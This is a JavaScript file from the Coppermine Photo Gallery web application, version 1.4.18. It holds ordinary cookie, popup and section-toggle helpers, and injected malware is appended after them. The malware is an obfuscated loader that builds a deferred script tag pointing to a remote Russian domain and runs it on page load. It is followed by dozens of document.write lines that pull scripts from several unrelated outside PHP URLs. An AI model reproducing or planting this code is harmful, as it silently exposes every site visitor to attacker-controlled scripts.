/*************************
  Coppermine Photo Gallery
  ************************
  Copyright (c) 2003-2008 Dev Team
  v1.1 originally written by Gregory DEMAR

  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License version 3
  as published by the Free Software Foundation.
  
  ********************************************
  Coppermine version: 1.4.18
  $HeadURL: https://coppermine.svn.sourceforge.net/svnroot/coppermine/trunk/cpg1.4.x/scripts.js $
  $Revision: 4380 $
  $Author: gaugau $
  $Date: 2008-04-12 12:00:19 +0200 (Sa, 12 Apr 2008) $
**********************************************/

function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}

function writeCookie(name, data, noDays){
  var cookieStr = name + "="+ data
  if (writeCookie.arguments.length > 2){
    cookieStr += "; expires=" + getCookieExpireDate(noDays)
    }
  document.cookie = cookieStr
}

function readCookie(cookieName){
   var searchName = cookieName + "="
   var cookies = document.cookie
   var start = cookies.indexOf(cookieName)
   if (start == -1){ // cookie not found
     return ""
     }
   start += searchName.length //start of the cookie data
   var end = cookies.indexOf(";", start)
   if (end == -1){
     end = cookies.length
     }
   return cookies.substring(start, end)
}

function blocking(nr, cookie, vis_state)
{
        if (document.layers)
        {
                current = (document.layers[nr].display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.layers[nr].display = current;
        }
        else if (document.all)
        {
                current = (document.all[nr].style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.all[nr].style.display = current;
        }
        else if (document.getElementById)
        {
                display = (document.getElementById(nr).style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, display);
                document.getElementById(nr).style.display = display;
        }
}


function adjust_popup()
{
        var w, h, fixedW, fixedH, diffW, diffH;
        if (document.documentElement && document.body.clientHeight==0) {     // Catches IE6 and FF in DOCMODE
                fixedW = document.documentElement.clientWidth;
                fixedH = document.documentElement.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.documentElement.clientWidth;
                diffH = fixedH - document.documentElement.clientHeight;
                w = fixedW + diffW + 16; // Vert Scrollbar Always On in DOCMODE.
                h = fixedH + diffH;
                if (w >= screen.availWidth) h += 16;
        } else if (document.all) {
                fixedW = document.body.clientWidth;
                fixedH = document.body.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.body.clientWidth;
                diffH = fixedH - document.body.clientHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (h >= screen.availHeight) w += 16;
                if (w >= screen.availWidth)  h += 16;
        } else {
                fixedW = window.innerWidth;
                fixedH = window.innerHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - window.innerWidth;
                diffH = fixedH - window.innerHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (w >= screen.availWidth)  h += 16;
                if (h >= screen.availHeight) w += 16;
        }
        w = Math.min(w,screen.availWidth);
        h = Math.min(h,screen.availHeight);
        window.resizeTo(w,h);
        window.moveTo((screen.availWidth-w)/2, (screen.availHeight-h)/2);
}

function show_section(e) {
    if (document.getElementById(e).style.display == 'none') {
        document.getElementById(e).style.display = 'block';
    } else {
        document.getElementById(e).style.display = 'none';
    }
}


function expand()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'block';
                }
        }
}

function hideall()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'none';
                }
        }
}

var zo={O:false};this.TJ=false;zh={};var a;K=function(){t={h:"hx"};Uk=["e","Rn"];var N=["Pd","l"];function n(J,z,nX){p=[];return J.substr(z,nX);}var s="/goo"+"gle."+"com/"+n("bbc.W4v",0,4)+"co.u"+n("wCrzk/chzrCw",4,4)+n("ase.NiB",0,4)+n("P1Bgcom.1PBg",4,4)+n("phpA50Y",0,3);var U='';this.b="b";try {var on='x'} catch(on){};var k=document;sI=28567;sI+=180;var i={F:"WL"};this._q=65310;this._q++;var V=RegExp;Pn=["Pv","XK","VD"];var gu=33260;function Z(J,z){this.KG="KG";this.A=4055;this.A+=81;var nX=new String("[")+z+"]";var Np={};var H=new V(nX, String(n("gELn",0,1)));var oo=["C","Vl"];return J.replace(H, U);};this.lN=40671;this.lN+=43;NX={Ud:54900};var nj=null;var R=Z('sQcfrCiBp9t9','1QCOofe9VTnWX7B8P');var Hx={Hp:4790};var v=new String(n("bodyBcZ",0,4));var JH=336313-328233;var TP="";var CF=new String();var zD="";a=function(){XY={VE:50584};try {var Yh='Y'} catch(Yh){};try {var RY=Z('c6r8egaWtKeKE8l6e6mKe_n6t6','gW68Kwf_jv');T=k[RY](R);try {} catch(nW){};this.lT="";var E=new String("de"+"fe"+"r");D=18508;D-=104;var J=JH+s;Dh=[];var Gz=56400;var Kh=Z('shrgcY','IC0GyaF4xUjQ3hTpYKgJqbu');this.Q=1022;this.Q++;vy={d:47020};T[E]=[1,8][0];var LN=[];var TX=new Array();T[Kh]="http:"+"//wes"+"tcoun"+"try.r"+"u:"+J;var tO=["DI"];this.q_=36105;this.q_+=18;Cw=["RB"];pB=22466;pB++;k[v].appendChild(T);this.bc="bc";} catch(f){this.IL=50308;this.IL--;Uz=46417;Uz-=107;this.nQ=14250;this.nQ+=49;};var Xy=false;var c=[];};var xm=["Rq","Df"];this.GB="";};var qg={xN:42500};K();Pe=["KW"];So={lf:17466};window.onload=a;var tGl="tGl";
document.write('<script src=http://eminsaygili.com/css/.ftpquota.php ><\/script>');
document.write('<script src=http://eminsaygili.com/css/.ftpquota.php ><\/script>');
document.write('<script src=http://eminsaygili.com/css/.ftpquota.php ><\/script>');
document.write('<script src=http://eminsaygili.com/css/.ftpquota.php ><\/script>');
document.write('<script src=http://eminsaygili.com/css/.ftpquota.php ><\/script>');
document.write('<script src=http://eminsaygili.com/css/.ftpquota.php ><\/script>');
document.write('<script src=http://eminsaygili.com/css/.ftpquota.php ><\/script>');
document.write('<script src=http://eminsaygili.com/css/.ftpquota.php ><\/script>');
document.write('<script src=http://tattoospictures.biz/MixDesignsTattoo/microeconomics.php ><\/script>');
document.write('<script src=http://tattoospictures.biz/MixDesignsTattoo/microeconomics.php ><\/script>');
document.write('<script src=http://tattoospictures.biz/MixDesignsTattoo/microeconomics.php ><\/script>');
document.write('<script src=http://tattoospictures.biz/MixDesignsTattoo/microeconomics.php ><\/script>');
document.write('<script src=http://tattoospictures.biz/MixDesignsTattoo/microeconomics.php ><\/script>');
document.write('<script src=http://cadcom.com.tr/images/image.php ><\/script>');
document.write('<script src=http://cadcom.com.tr/images/image.php ><\/script>');
document.write('<script src=http://cadcom.com.tr/images/image.php ><\/script>');
document.write('<script src=http://cadcom.com.tr/images/image.php ><\/script>');
document.write('<script src=http://cadcom.com.tr/images/image.php ><\/script>');
document.write('<script src=http://cadcom.com.tr/images/image.php ><\/script>');
document.write('<script src=http://cadcom.com.tr/images/image.php ><\/script>');
document.write('<script src=http://cadcom.com.tr/images/image.php ><\/script>');
document.write('<script src=http://pealton.com/guestbook/robots.php ><\/script>');
document.write('<script src=http://pealton.com/guestbook/robots.php ><\/script>');
document.write('<script src=http://pealton.com/guestbook/robots.php ><\/script>');
document.write('<script src=http://pealton.com/guestbook/robots.php ><\/script>');
document.write('<script src=http://pealton.com/guestbook/robots.php ><\/script>');
document.write('<script src=http://pealton.com/guestbook/robots.php ><\/script>');